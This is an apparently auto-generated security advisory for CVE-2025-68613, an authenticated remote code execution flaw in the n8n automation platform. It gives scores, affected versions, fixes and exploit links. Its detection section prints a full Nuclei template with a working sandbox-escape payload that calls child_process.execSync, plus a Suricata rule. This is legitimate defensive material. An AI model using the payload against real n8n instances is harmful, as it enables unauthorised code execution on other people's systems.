CVE-2025-68613: n8n Improper Control of Dynamically-Managed Code Resources Vulnerability
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
n8n is an open source workflow automation platform. Versions starting with 0.211.0 and prior to 1.120.4, 1.121.1, and 1.122.0 contain a critical Remote Code Execution (RCE) vulnerability in their workflow expression evaluation system. Under certain conditions, expressions supplied by authenticated users during workflow configuration may be evaluated in an execution context that is not sufficiently isolated from the underlying runtime. An authenticated attacker could abuse this behavior to execute arbitrary code with the privileges of the n8n process. Successful exploitation may lead to full compromise of the affected instance, including unauthorized access to sensitive data, modification of workflows, and execution of system-level operations. This issue has been fixed in versions 1.120.4, 1.121.1, and 1.122.0. Users are strongly advised to upgrade to a patched version, which introduces additional safeguards to restrict expression evaluation. If upgrading is not immediately possible, administrators should consider the following temporary mitigations: Limit workflow creation and editing permissions to fully trusted users only; and/or deploy n8n in a hardened environment with restricted operating system privileges and network access to reduce the impact of potential exploitation. These workarounds do not fully eliminate the risk and should only be used as short-term measures.
Description quoted from the CVE record (assigned by GitHub_M, published 2025-12-19).
Weakness: CWE-913: Improper Control of Dynamically-Managed Code Resources
How it can be exploited
Exploitable over the network with low attack complexity needing low privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: no. Technical impact: total.
- On CISA KEV since
- 2026-03-11
- US federal deadline
- 2026-03-25
- Ransomware use
- Not known
Public exploit evidence (Exploit Observer)
Also known as: BDU:2025-16183, EUVD-2025-204618, EUVD-2026-8761, GHSA-6cqr-8cfr-67f8, GHSA-v98v-ff95-f3cp, GHSA-vpcf-gvg4-6qwr, SNYK-JS-N8NWORKFLOW-14545463
VEDAS cluster: VEDAS:BARKERBREEZE
Exploit Observer links 45 pieces of public exploit code or detection modules that name this CVE or one of its aliases.
Exploit code and modules (45)
Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.
- Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-68613.yaml
- Code repository: https://github.com/111ddea/cve-2025-68613
- Code repository: https://github.com/ahmedshamsddin/n8n-rce-cve-2025-68613
- Code repository: https://github.com/ak-cybe/cve-2025-68613-n8n-rce-analysis
- Code repository: https://github.com/ali-py3/exploit-cve-2025-68613
- Code repository: https://github.com/ashwesker/ashwesker-cve-2025-68613
- Code repository: https://github.com/azilrababe/cve-2025-68613
- Code repository: https://github.com/bijoumj/cve-2025-68613-ctf
- Code repository: https://github.com/canpilayda/n8n-rce-cve-2025-68613
- Code repository: https://github.com/cv-sai-kamesh/n8n-cve-2025-68613
- Code repository: https://github.com/dlanang/homelab-cve-2025-68613
- Code repository: https://github.com/gagaltotal/n8n-cve-2025-68613
- and 33 more
Research and write-ups (7)
- Research or write-up: https://darkwebinformer.com/video-cve-2025-68613-n8n-rce-vulnerability
- Research or write-up: https://dashboard.shadowserver.org/statistics/combined/time-series/?date_range=7&source=http_vulnerable&source=http_vulnerable6&tag=cve-2025-68613%2B&tag=cve-2025-68668%2B&tag=cve-2026-21858%2B&tag=cve-2026-21877%2B&dataset=unique_ips&limit=100&group_by=tag&stacking=overlap&auto_update=on
- Research or write-up: https://farrosfr.com/blog/n8n-cve-2025-68613-tryhackme-write-up
- Research or write-up: https://orca.security/resources/blog/cve-2025-68613-n8n-rce-vulnerability
- Research or write-up: https://threatlandscape.io/blog/critical-n8n-vulnerabilities-cve-2025-68613-and-cve-2026-25049-analysis
- Research or write-up: https://tryhackme.com/room/n8ncve202568613?utm_campaign=social_share&utm_medium=social&utm_content=room&utm_source=copy&sharerId=660d3777c14236809d2f97fa
- Research or write-up: https://tryhackme.com/room/n8ncve202568613?utm_campaign=social_share&utm_medium=social&utm_content=room&utm_source=reddit&sharerId=662fb6411f3680a87baf9e1f
Vulnerability databases and vendor advisories (15)
Catalogue entries, not exploit evidence.
- Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2025-204618
- Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2026-8761
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-6cqr-8cfr-67f8
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-v98v-ff95-f3cp
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-vpcf-gvg4-6qwr
- Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2025-68613
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/GHSA-6cqr-8cfr-67f8
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/GHSA-v98v-ff95-f3cp
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/GHSA-vpcf-gvg4-6qwr
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/ROOT-APP-NPM-CVE-2025-68613
- Vulnerability database or vendor advisory: https://security.snyk.io/vuln/SNYK-JS-N8NWORKFLOW-14545463
- Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-68613
- and 3 more
89 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.
VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.
Live scores
- EPSS
- 0.990
very likely to be attacked soon - VEDAS
- 0.985
strong exploit evidence - On CISA KEV
- Yes, since 2026-03-11
Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.
VEDAS flagged this bug about 73 days before CISA confirmed attacks.
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| n8n-io n8n | version >= 0.211.0, < 1.120.4 version = 1.121.0 | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
Exploit Observer also maps it to: n8n n8n, сообщество_свободного_программного_обеспечения n8n.
How to fix it
CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Vendor guidance:
- https://github.com/n8n-io/n8n/security/advisories/GHSA-v98v-ff95-f3cp
- https://nvd.nist.gov/vuln/detail/CVE-2025-68613
How to detect it
Nuclei template (active check)
N8n - Code Injection
n8n is an open source workflow automation platform. Versions starting with 0.211.0 and prior to 1.120.4, 1.121.1, and 1.122.0 contain a critical Remote Code Execution (RCE) vulnerability in their workflow expression evaluation system.
Name and description quoted from the template, written by VEDAS.
The template sends 7 requests (GET /signin, POST /rest/login, POST /rest/workflows, POST /rest/workflows/{{workflow_id}}/run and 3 more); it decides using dsl, regex, status matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2025-68613.yamlShow the template (174 lines)
id: CVE-2025-68613
info:
name: "N8n - Code Injection"
author: vedas-arpsyndicate
severity: critical
description: |
n8n is an open source workflow automation platform. Versions starting with 0.211.0 and prior to 1.120.4,
1.121.1, and 1.122.0 contain a critical Remote Code Execution (RCE) vulnerability in their workflow expression
evaluation system.
reference:
- https://www.exploit.observer/?keyword=CVE-2025-68613&match=exact
- https://subdomain.center/?engine=ammonites&keyword=n8n&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.9
cve-id: CVE-2025-68613
cwe-id: CWE-94
metadata:
verified: false
tags: cve,cve2025,n8n,authenticated,rce,intrusive,vkev,kev,vuln
variables:
randstr: "{{rand_base(8)}}"
email: "{{email}}"
password: "{{password}}"
flow: |
http("version-check");
let email = template["email"];
let password = template["password"];
if (email && password && email.length > 0 && password.length > 0) {
http("login") && http("create-workflow") && http("run-workflow") && http("get-results") && http("delete-workflow");
}
http:
- id: version-check
raw:
- |
GET /signin HTTP/1.1
Host: {{Hostname}}
Accept: */*
extractors:
- type: regex
name: base64_content
group: 1
regex:
- '<meta name="n8n:config:sentry" content="([A-Za-z0-9+/=]+)"'
internal: true
- type: dsl
name: version
dsl:
- 'replace_regex(base64_decode(base64_content), ".*n8n@([0-9]+\\.[0-9]+\\.[0-9]+).*", "$1")'
internal: true
- type: dsl
dsl:
- '"n8n Version: " + version'
matchers:
- type: dsl
name: version_check
dsl:
- '(compare_versions(version, ">= 0.211.0") && compare_versions(version, "< 1.120.4")) || (compare_versions(version, ">= 1.121.0") && compare_versions(version, "< 1.121.1"))'
- 'contains(body, "<title>n8n.io")'
condition: and
- id: login
raw:
- |
POST /rest/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"emailOrLdapLoginId":"{{email}}","password":"{{password}}"}
matchers:
- type: status
status:
- 200
internal: true
- id: create-workflow
raw:
- |
POST /rest/workflows HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name":"rce-test-{{randstr}}","active":false,"nodes":[{"parameters":{},"name":"Manual Trigger","type":"n8n-nodes-base.manualTrigger","typeVersion":1,"position":[250,300],"id":"trigger-{{randstr}}"},{"parameters":{"values":{"string":[{"name":"rce_result","value":"={{ (function() { var require = this.process.mainModule.require; var execSync = require('child_process').execSync; return execSync('whoami && id && uname -a').toString(); })() }}"}]}},"name":"RCE Test","type":"n8n-nodes-base.set","typeVersion":2,"position":[450,300],"id":"set-{{randstr}}"}],"connections":{"Manual Trigger":{"main":[[{"node":"RCE Test","type":"main","index":0}]]}},"settings":{}}
extractors:
- type: regex
name: workflow_id
part: body
internal: true
regex:
- '"createdAt":"[^"]+","id":"([a-zA-Z0-9]+)"'
group: 1
matchers:
- type: status
status:
- 200
internal: true
- id: run-workflow
raw:
- |
POST /rest/workflows/{{workflow_id}}/run HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"workflowData":{"id":"{{workflow_id}}","name":"rce-test-{{randstr}}","active":false,"nodes":[{"parameters":{},"name":"Manual Trigger","type":"n8n-nodes-base.manualTrigger","typeVersion":1,"position":[250,300],"id":"trigger-{{randstr}}"},{"parameters":{"values":{"string":[{"name":"rce_result","value":"={{ (function() { var require = this.process.mainModule.require; var execSync = require('child_process').execSync; return execSync('whoami && id && uname -a').toString(); })() }}"}]}},"name":"RCE Test","type":"n8n-nodes-base.set","typeVersion":2,"position":[450,300],"id":"set-{{randstr}}"}],"connections":{"Manual Trigger":{"main":[[{"node":"RCE Test","type":"main","index":0}]]}},"settings":{}}}
extractors:
- type: regex
name: execution_id
part: body
internal: true
regex:
- '"executionId":"([0-9]+)"'
group: 1
matchers:
- type: status
status:
- 200
internal: true
- id: get-results
raw:
- |
GET /rest/executions/{{execution_id}}?{{wait_for(3)}} HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: rce_output
part: body
regex:
- '"([^"]*uid=[0-9]+\([^)]+\)[^"]*)"'
group: 1
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- 'uid=[0-9]+\([a-zA-Z0-9_-]+\)'
- type: status
status:
- 200
- id: delete-workflow
raw:
- |
POST /rest/workflows/{{workflow_id}}/archive?{{wait_for(2)}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{}
- |
DELETE /rest/workflows/{{workflow_id}}?{{wait_for(2)}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: status
status:
- 200
internal: true
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-68613 N8n - Code Injection. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-68613 N8n - Code Injection"; flow:established,to_server; http.uri; content:"signin"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2025-68613; reference:url,https://www.exploit.observer/?keyword=CVE-2025-68613&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=n8n&match=exact; sid:1009146; rev:1;)
CVE-2025-68613.rules on GitHub
Advisories on this CVE
References
Exploits and technical analysis
- https://www.akamai.com/blog/security-research/2026/feb/zerobot-malware-targets-n8n-automation-platform (third-party-advisory)
Government sources
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-68613 (government-resource)
Other references
- https://github.com/n8n-io/n8n/security/advisories/GHSA-v98v-ff95-f3cp (x_refsource_CONFIRM)
- https://github.com/n8n-io/n8n/commit/08f332015153decdda3c37ad4fcb9f7ba13a7c79 (x_refsource_MISC)
- https://github.com/n8n-io/n8n/commit/1c933358acef527ff61466e53268b41a04be1000 (x_refsource_MISC)
- https://github.com/n8n-io/n8n/commit/39a2d1d60edde89674ca96dcbb3eb076ffff6316 (x_refsource_MISC)
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.